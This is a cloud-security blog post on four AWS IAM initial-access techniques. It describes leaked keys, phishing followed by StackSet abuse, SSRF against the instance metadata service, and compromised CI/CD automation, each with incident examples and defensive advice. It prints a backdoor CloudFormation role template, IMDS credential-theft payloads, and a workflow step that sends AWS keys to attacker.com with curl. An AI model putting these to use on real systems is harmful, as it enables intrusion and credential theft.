Understanding how attackers gain their first foothold in AWS environments is essential for defenders, cloud engineers, and security teams. This post breaks down four of the most common initial access techniques targeting AWS IAM credentials with some real-world examples.
The AWS IAM Credential Model: Why It Matters
Every action in AWS from launching an EC2 instance, reading an S3 bucket, to invoking a Lambda function is authenticated and authorized through AWS Identity and Access Management (IAM). IAM credentials come in several forms:
- Long-term credentials — Access Key ID + Secret Access Key pairs tied to an IAM user.
- Short-term credentials — Temporary tokens issued by AWS STS (Security Token Service), including a session token with a finite TTL.
- Instance Profile credentials — Automatically provisioned short-term credentials for EC2 instances, available via the Instance Metadata Service (IMDS).
- Role-assumed credentials — Credentials generated when a principal assumes an IAM role, also short-lived.
Compromising any of these gives an attacker the same level of API access as the legitimate owner. This makes credential theft the single most impactful initial access vector in AWS.
1. Leaked Credentials
How It Works
Leaked credentials are arguably the most prevalent AWS initial access technique and also the most preventable. Sometimes developers accidentally commit AWS Access Key IDs and Secret Access Keys to public (or poorly-secured private) repositories. Once exposed, automated bots scan platforms like GitHub within seconds of a push.
Common leak surfaces include:
- Git repositories (GitHub, GitLab, Bitbucket) – hardcoded in source files,
.envfiles, or config files committed by mistake. - Docker Hub – embedded in image layers or
Dockerfilebuild arguments. - Pastebin / Gist – credentials shared “temporarily” that never get removed.
- CI/CD logs – pipeline output that inadvertently prints environment variables.
- Slack, Confluence, Notion – internal tools where credentials are pasted for convenience.
- npm / PyPI packages – credentials bundled into published libraries.
Real-World Example: CISA (2026)
In a highly publicized government incident, an administrator inadvertently leaked AWS GovCloud access keys and CISA system passwords in a public GitHub repository.
A contractor for the U.S. Cybersecurity and Infrastructure Security Agency (CISA) mistakenly exposed 844 MB of sensitive data, including Kubernetes configurations and AWS GovCloud administrative keys, via a public GitHub repository. The repository, which remained unsecured for roughly six months, also contained plaintext login details for internal CISA systems.
While CISA secured the data within 26 hours of notification, the breach Highlights significant third-party risks, with experts flagging the incident as a case of poor credential management and human error. The incident serves as a critical example of the need for robust security audits of external repositories, according to GitGuardian.
Attack Workflow
1. Attacker monitors GitHub for new commits containing "AKIA" (AWS key prefix)
using tools like truffleHog or GitHub's code search API.
2. Key is extracted:
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
3. Attacker verifies the key is live:
$ aws sts get-caller-identity
4. Attacker enumerates permissions:
$ aws iam list-attached-user-policies --user-name victim-user
$ aws iam simulate-principal-policy ... etc etc
5. Lateral movement, data exfiltration, or cryptomining begins.
2. Phishing for StackSets
How It Works
AWS CloudFormation StackSets allow organizations to deploy infrastructure stacks across multiple AWS accounts and regions from a single administrator account. When an attacker gains access to an AWS management or administrator account, they can abuse StackSets to pivot laterally into every member account in the AWS Organization – at scale, in minutes.
The phishing component works as follows: an attacker targets a privileged AWS user (typically someone with cloudformation:* or organizations:* permissions) with a spear-phishing campaign. The goal is to steal their AWS Console session, SSO token, or MFA-bypassing credentials – not just the API keys.
Real-World Example: The 0ktapus Campaign (2022)
The Scattered Spider / 0ktapus threat group conducted a sophisticated phishing campaign targeting Okta SSO credentials across hundreds of organizations. Once inside an Okta session, attackers pivoted to the AWS Console authenticated through SSO federation. Several victims reported that attackers then used CloudFormation StackSets or similar cross-account mechanisms to establish persistent access across the entire AWS Organization before defenders could respond.
The key insight: phishing for cloud credentials isn’t just about API keys – SSO tokens, SAML assertions, and browser session cookies all grant AWS Console access and can be stolen via traditional phishing infrastructure (fake login portals, AiTM proxies like Evilginx2).
Attack Workflow
1. Attacker identifies a target with CloudFormation/Organizations privileges
via LinkedIn, job postings, or OSINT on public AWS-related repos.
2. Spear-phishing email delivers a fake Okta/AWS SSO login page
(AiTM proxy captures credentials + session cookie in real time).
3. Attacker authenticates to AWS Console with stolen session.
4. Attacker creates a malicious StackSet that deploys to ALL member accounts:
- Creates a new IAM role in each account
- Role trusts the attacker's external AWS account (cross-account assume-role)
- Policy: AdministratorAccess
5. From their own account:
$ aws sts assume-role \
--role-arn arn:aws:iam::VICTIM_ACCOUNT:role/BackdoorRole \
--role-session-name attacker-session
6. Attacker now has admin access to every account in the Organization.
Malicious StackSet Template (Simplified Example)
Resources:
BackdoorRole:
Type: AWS::IAM::Role
Properties:
RoleName: "support-automation-role" # benign-looking name
AssumeRolePolicyDocument:
Version: "2012-10-17"
Statement:
- Effect: Allow
Principal:
AWS: "arn:aws:iam::ATTACKER_ACCOUNT_ID:root"
Action: "sts:AssumeRole"
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AdministratorAccess
3. SSRF to IMDS Instance Profile Credentials
How It Works
Server-Side Request Forgery (SSRF) is a web vulnerability where an attacker tricks a server into making HTTP requests on their behalf. In AWS, this becomes catastrophic when a vulnerable application running on an EC2 instance can be coerced into querying the Instance Metadata Service (IMDS) — a special HTTP endpoint available at http://169.254.169.254 that is only reachable from within the instance itself.
If the EC2 instance has an IAM Instance Profile attached (which is standard practice for giving applications AWS API access without hardcoded keys), the IMDS exposes temporary credentials for that role at a well-known path. An attacker who can exploit SSRF can read those credentials and use them externally.
The IMDS Credential Endpoint
# Step 1: Get the role name attached to the instance
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Retrieve the actual credentials
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Response:
{
"AccessKeyId": "ASIA5EXAMPLE...",
"SecretAccessKey": "wJalrXUtnFEMI...",
"Token": "AQoXnyc4lcK4...", <-- STS session token
"Expiration": "2024-01-15T12:00:00Z"
}
Real-World Example: The Capital One Breach (2019)
This is the most well-known SSRF-to-IMDS attack in history. A former AWS employee exploited a misconfigured AWS WAF (Web Application Firewall) that was running on an EC2 instance and acting as a reverse proxy. By crafting a specific HTTP request, they tricked the WAF into forwarding the request to “http://169.254.169.254/latest/meta-data/iam/security-credentials/“.
The WAF’s attached IAM role had overly broad permissions, allowing the attacker to:
- List and download over 100 S3 buckets containing sensitive data.
- Access data on approximately 106 million Capital One customers.
- Exfiltrate social security numbers, bank account numbers, and credit scores.
The total regulatory fine was $80 million USD. The root causes were: an SSRF-vulnerable component, an overprivileged IAM role, and IMDSv1 being enabled (which has no authentication requirement).
Attack Workflow
1. Attacker identifies a web application hosted on EC2 with SSRF vulnerability
(e.g., URL fetch feature, PDF generator, image downloader, webhook handler).
2. Attacker crafts a malicious payload:
fetch_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Application (running on EC2) makes the request internally and returns the response.
Attacker sees: "my-app-ec2-role"
4. Attacker fetches credentials:
fetch_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-ec2-role
5. Attacker extracts AccessKeyId, SecretAccessKey, Token from the JSON response.
6. On attacker's machine:
$ export AWS_ACCESS_KEY_ID=ASIA5...
$ export AWS_SECRET_ACCESS_KEY=wJalr...
$ export AWS_SESSION_TOKEN=AQoXnyc4...
$ aws s3 ls # Now operating as the EC2 instance's IAM role
4. Vulnerable Automation
How It Works
Modern cloud environments are built on automation CI/CD pipelines, Infrastructure-as-Code (IaC), configuration management tools, and custom scripts all interact with AWS APIs on a scheduled or event-driven basis. Each of these automation systems requires AWS credentials to function, making them attractive targets. An attacker who can compromise the automation system itself gains access to whatever AWS permissions that system holds – often very broad ones.
Common attack surfaces in this category include:
- CI/CD Pipelines (Jenkins, GitHub Actions, GitLab CI, CircleCI) – pipelines run code and often have AWS credentials injected as environment variables or OIDC-federated roles.
- Terraform / Pulumi / CDK – IaC tools are often run with highly privileged credentials capable of modifying any infrastructure.
- Lambda Functions – serverless functions with attached execution roles; if the function code can be modified or the function itself is exploitable, the execution role is compromised.
- AWS Systems Manager (SSM) Automation – SSM documents that run commands on EC2 instances can be abused if an attacker can trigger or modify them.
- Third-party SaaS integrations – tools like Datadog, Terraform Cloud, or Spacelift store AWS credentials/role ARNs; a breach of those platforms exposes your AWS environment.
Real-World Example: The CircleCI Breach (2023)
In January 2023, CI/CD platform CircleCI disclosed a security incident in which an attacker compromised an employee’s laptop via malware. The malware was able to steal a 2FA-backed session token, giving the attacker access to CircleCI’s internal systems. From there, the attacker exfiltrated customer environment variables, tokens, and keys stored in CircleCI — including AWS credentials that customers had configured for their deployment pipelines.
Thousands of organizations were advised to immediately rotate all secrets stored in CircleCI. The incident demonstrated a critical supply-chain risk: your AWS credentials are only as secure as every third-party system that stores them.
Attack Workflow: Compromised GitHub Actions Pipeline
# Vulnerable GitHub Actions workflow (stores credentials as env vars)
name: Deploy to AWS
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Configure AWS
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
aws s3 sync ./dist s3://my-production-bucket
# Attack vector 1: Attacker submits a malicious pull request that exfiltrates secrets:
- name: "Dependency install"
run: |
curl -s https://attacker.com/collect?key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY
# Attack vector 2: Attacker compromises a third-party GitHub Action used in the workflow
# (supply chain attack via actions/checkout-malicious@v3)
# Attack vector 3: If the repo is public, ${{ secrets.* }} are protected,
# but if pull_request_target is used incorrectly, secrets leak to fork PRs.
Attack Workflow: Exploitable Lambda Function
1. Attacker discovers a Lambda function with a code injection vulnerability
(e.g., unsanitized user input passed to eval(), os.system(), or subprocess).
2. Attacker sends a malicious payload to the function's API Gateway trigger.
3. Within the Lambda execution environment, the injected code queries IMDS
(similar to the SSRF scenario) for the function's execution role credentials:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Credentials are exfiltrated to attacker's server.
5. Attacker now operates with the Lambda execution role's permissions.
Conclusion
AWS initial access almost always comes back to one thing: credentials. Whether stolen from a public repository, phished via a fake SSO portal, extracted through an SSRF vulnerability, or lifted from a compromised CI/CD pipeline – the attacker’s end goal is always a valid set of IAM credentials with useful permissions attached.
The defensive posture that addresses all four techniques simultaneously is simple in principle:
- Eliminate long-term credentials wherever possible in favour of short-lived, role-assumed tokens.
- Apply least privilege so that even a successful credential theft yields limited blast radius.
- Enable GuardDuty and CloudTrail in every account, every region, from day one.
- Test your defences – run SSRF tests, simulate phishing scenarios, and periodically scan your repos for exposed secrets.
Found this useful? Share it with your cloud security team. Have a technique to add? Let’s get in touch. I am always ready to learn more from others!